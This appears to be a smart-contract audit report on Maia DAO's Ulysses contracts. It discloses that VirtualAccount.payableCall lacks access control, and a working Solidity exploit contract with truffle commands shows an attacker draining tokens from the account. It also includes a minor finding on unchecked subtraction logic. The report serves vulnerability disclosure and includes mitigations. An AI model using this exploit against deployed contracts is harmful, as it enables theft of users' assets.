Maia DAO - Ulysses - orion's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85

Vulnerability details

Impact

Attacker can hijack the assets that VirtualAccount holds

Proof of Concept

The VirtualAccount.payableCall have no access control and can be called by anyone :

    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {

this function later makes arbitrary call to calls.target with _call.callData,

            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);

And since this contract is meant to hold ERC721, and ERC20 assets (that's why it has withdrawERC721 and withdrawERC20 functions which ensures so)

exploit.sol :

pragma solidity ^0.8.6;

struct PayableCall {
    address target;
    bytes callData;
    uint256 value;
}

interface vuln {
 function payableCall(PayableCall[] calldata calls) external payable returns (bytes[] memory returnData) ;
}

contract exploit {
   PayableCall[] public payloads;
   bytes public s;
   function generate(address recipient, uint256 amount,address _target) external {
      bytes memory w = abi.encodePacked("transfer(address,uint256)",recipient,amount);
      PayableCall memory payload = PayableCall({
      target : _target,
      callData : w,
      value : 0
      });
      payloads.push(payload);

   }
   function attack(vuln _vuln) public {
       vuln(_vuln).payableCall(payloads);
   }
}

truffle commands :

truffle develop
migrate --compile-all --reset

//deploy (I unlocked 0xa270bb1241ff428927406e5fde47e7ea8592afb1)
exploit.deployed().then(function(instance){exploit_=instance;})
VirtualAccount.deployed().then(function(instance){vaccount=instance;})
SimpleERC20.deployed().then(function(instance){token=instance;})
// mint the virtual account
token.mint(VirtualAccount.address,1000,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"})
token.balanceOf(VirtualAccount.address)
// will returns 1000
exploit_.generate("0xa270bb1241ff428927406e5fde47e7ea8592afb1",750,SimpleERC20.address,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"})
exploit.attack(VirtualAccount.address,{from:"0xa270bb1241ff428927406e5fde47e7ea8592afb1"})
// check balances
token.balanceOf(VirtualAccount.address)
token.balanceOf("0xa270bb1241ff428927406e5fde47e7ea8592afb1")
// will returns 250, 750

Tools Used

Ganache and truffle

Recommended Mitigation Steps

Make the function callable by authorized users only (like withdrawERC20 function)

Assessed type

Access Control

Many functions uses the logic of (int - int > 0) in order the unchecked call does not overflow, e,g :

• https://github.com/code-423n4/2023-09-maia/blob/main/src/BaseBranchRouter.sol#L165
• https://github.com/code-423n4/2023-09-maia/blob/main/src/RootPort.sol#L284
• https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L906
• https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchPort.sol#L259
• https://github.com/code-423n4/2023-09-maia/blob/main/src/ArbitrumBranchPort.sol#L132

The if condition in that case will reverts if does not meet with no error given and the function call will fails, with no error given, this will results for confusing on users end, and will succeed (the call) only when the if condition meets, it's better to use another logic where if the "if" condition does not meet the call will succeed and not revert, and even if it does it will inform users why it has been revereted, example :

 if (_amount - _deposit > 0) {
            unchecked {
                IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
            }
        }

when _deposit > amount, the call will fails with no revert message, for it to be used properly, better user one of the these logics :

• if it will underflow does not pass to unchecked

if (_amount > _deposit ) { // this will never make "_deposit - _amount" underflow
            unchecked {
                IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
            }
        }

• if it will underflow, revert with error, so users know why it has been failed

require(_amount - _deposit > 0,"deposit is higher that amount");
unchecked {
                IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
            }